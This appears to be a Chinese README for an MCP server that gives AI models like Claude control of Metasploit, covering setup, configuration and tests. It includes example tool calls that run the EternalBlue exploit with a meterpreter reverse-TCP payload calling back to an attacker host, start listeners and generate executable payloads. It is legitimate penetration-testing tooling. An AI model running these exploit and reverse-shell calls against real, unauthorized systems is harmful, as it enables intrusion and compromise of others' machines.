用于 Metasploit 框架集成的模型上下文协议(MCP)服务器。
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
此 MCP 服务器在大型语言模型(如 Claude)与 Metasploit 框架渗透测试平台之间提供了一个桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 功能,从而实现对复杂安全测试工作流程的自然语言接口。
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # 可选:生成载荷保存位置
启动 Metasploit RPC 服务:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
服务器支持两种传输方式:
您可以使用 --transport 标志显式选择传输模式:
# 使用 HTTP/SSE 传输(默认)
python MetasploitMCP.py --transport http
# 使用 STDIO 传输
python MetasploitMCP.py --transport stdio
HTTP 模式的其他选项:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
对于 Claude Desktop 集成,配置 claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
对于使用 HTTP/SSE 的其他 MCP 客户端:
在 HTTP 模式下启动服务器:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
配置您的 MCP 客户端连接到:
http://your-server-ip:8085/sse⚠️ 重要安全警告:
此工具提供了直接访问 Metasploit 框架功能的能力,包括强大的攻击特性。仅在您明确获得授权进行安全测试的环境中负责任地使用。
list_exploits("ms17_010")run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})list_active_sessions()send_session_command(1, "whoami")run_post_module("windows/gather/enum_logged_on_users", 1)send_session_command(1, "sysinfo")terminate_session(1)start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)list_listeners()generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})stop_job(1)该项目包括全面的单元测试和集成测试,以确保可靠性和可维护性。
安装测试依赖项:
pip install -r requirements-test.txt
或者使用方便的安装器:
python run_tests.py --install-deps
# 或者
make install-deps
# 运行所有测试
python run_tests.py --all
# 或者
make test
# 运行并生成覆盖率报告
python run_tests.py --all --coverage
# 或者
make coverage
# 运行并生成 HTML 覆盖率报告
python run_tests.py --all --coverage --html
# 或者
make coverage-html
# 单元测试
python run_tests.py --unit
# 或者
make test-unit
# 集成测试
python run_tests.py --integration
# 或者
make test-integration
# 选项解析测试
python run_tests.py --options
# 或者
make test-options
# 辅助函数测试
python run_tests.py --helpers
# 或者
make test-helpers
# MCP 工具测试
python run_tests.py --tools
# 或者
make test-tools
# 包括慢速测试
python run_tests.py --all --slow
# 包括网络测试(需要实际网络)
python run_tests.py --all --network
# 详细输出
python run_tests.py --all --verbose
# 快速测试(无覆盖率,快速失败)
make quick-test
# 调试模式(详细的失败信息)
make test-debug
tests/test_options_parsing.py: 优雅的选项解析功能的单元测试tests/test_helpers.py: 内部辅助函数和 MSF 客户端管理的单元测试tests/test_tools_integration.py: 使用模拟的 Metasploit 后端的所有 MCP 工具的集成测试conftest.py: 共享的测试夹具和配置pytest.ini: 包含覆盖率设置的 Pytest 配置运行测试并生成覆盖率报告后,报告可在以下位置找到:
htmlcov/index.html(当使用 --html 选项时)对于持续集成:
# CI 友好的测试命令
make ci-test
# 或者
python run_tests.py --all --coverage --verbose
默认情况下,使用 generate_payload 生成的载荷保存在您的主目录中的 payloads 目录(~/payloads 或 C:\Users\YourUsername\payloads)。您可以通过设置 PAYLOAD_SAVE_DIR 环境变量来自定义此位置。
设置环境变量:
Windows(PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows(命令提示符):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
在 Claude Desktop 配置中:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // 如果要覆盖默认值,请添加
}
注意:如果您指定了自定义路径,请确保该路径存在或应用程序具有创建它的权限。如果路径无效,载荷生成可能会失败。
Apache 2.0